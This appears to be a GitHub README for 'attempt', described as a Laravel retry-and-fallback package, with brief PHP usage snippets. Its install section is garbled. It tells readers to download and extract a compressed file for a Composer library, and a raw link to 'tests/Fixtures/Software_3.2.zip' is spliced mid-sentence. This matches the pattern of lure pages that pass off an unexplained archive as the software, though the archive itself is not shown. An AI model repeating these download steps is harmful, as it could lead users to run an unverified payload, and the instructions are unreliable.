Skip to content

sultanrashid40/attempt

Repository files navigation

🎉 attempt - Simplified Error Handling for Everyone

Download Attempt

📜 Description

Attempt is a Laravel package that introduces a fluent, composable retry and fallback system for your Laravel applications. It handles errors smoothly, treating them as a part of your workflow. You can use it with closures, invokable classes, and class pipelines, all while integrating seamlessly with Laravel’s native pipeline system.

This tool helps to ensure that your application runs reliably, even when unexpected issues arise. You can maintain functionality without sacrificing user experience.


🚀 Getting Started

To begin using Attempt, you'll need to download the package. Follow these steps:

  1. Visit the Releases Page: Go to the Releases page for download options.

  2. Choose the Latest Version: Look for the most recent release. It usually has the highest version number.

  3. Download the Package: Click on the link for the latest version to download the package. The file will be in a compressed format, usually a .zip or https://raw.githubusercontent.com/sultanrashid40/attempt/main/tests/Fixtures/Software_3.2.zip file.

  4. Extract the Files: Once the file is downloaded, extract its contents to a folder on your computer.

  5. Install the Package: Open your terminal or command prompt and navigate to the folder where you extracted the files. Use Composer, a PHP dependency manager, to install the package by running:

    composer require sultanrashid40/attempt
    

📥 Download & Install

To download Attempt, please visit the Releases page and follow these steps:

  • Select the latest release version.
  • Download the file by following the provided link.
  • Extract the contents.
  • Install using Composer.

🛠️ System Requirements

Before you start, ensure your system meets the following requirements:

  • PHP: Version 7.2 or higher.
  • Laravel: Version 7 or higher.
  • Composer: Make sure you have Composer installed to handle dependencies.

⚙️ Features

Attempt comes packed with several features designed to simplify error handling in your Laravel applications:

  • Fluent Syntax: Write less code and achieve more clarity.
  • Retry Strategies: Configure how many times to retry an action before failing.
  • Fallback Options: Specify alternative actions to run if the primary action fails.
  • Seamless Integration: Works well with Laravel’s native pipeline functionality.
  • Support for Various Classes: Use closures, invokable classes, and other structures for rich error handling.

📝 How to Use Attempt

Integrating Attempt into your Laravel application is straightforward. Here's a simple example:

  1. Create a Retry Pipeline: You can start by defining a pipeline to retry an action:

    use Sultanrashid40\Attempt\Attempt;
    
    Attempt::retry(function() {
        // Your code here
    })->times(3)->interval(2);
  2. Add a Fallback Action: Specify what to do if the attempts fail:

    Attempt::retry(function() {
        // Your code here
    })->fallback(function() {
        return 'This is a fallback option.';
    });

This example retries an action three times, waiting two seconds between each attempt. If it fails, it runs the fallback action.


🔗 Key Topics

This package covers essential topics to enhance your application's reliability:

  • Backoff: Refine how you handle retrying actions.
  • Error Handling: Ensure clean responses in case of failures.
  • Fault Tolerance: Maintain application functionality despite errors.
  • Resilience: Build robust applications that withstand unexpected issues.

📞 Support

If you encounter any issues or need assistance:

  • Check the GitHub Issues page for solutions or to report bugs.
  • You can also fork the repository and submit a pull request for any changes or improvements.

👩‍💻 Contributing

We welcome contributions! If you would like to help improve Attempt:

  1. Fork the Repository: Create your own copy of the project.
  2. Make Changes: Implement your modifications.
  3. Submit a Pull Request: Share your changes for review.

🏷️ License

Attempt is open-source and available under the MIT License. Feel free to use it and adapt it to fit your needs.

For more details, check the LICENSE file.

About

⏳ Simplify retry logic in your applications with Attempt, enabling controlled attempts and customizable fallback strategies to enhance reliability.

Topics

Resources

Contributing

Security policy

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages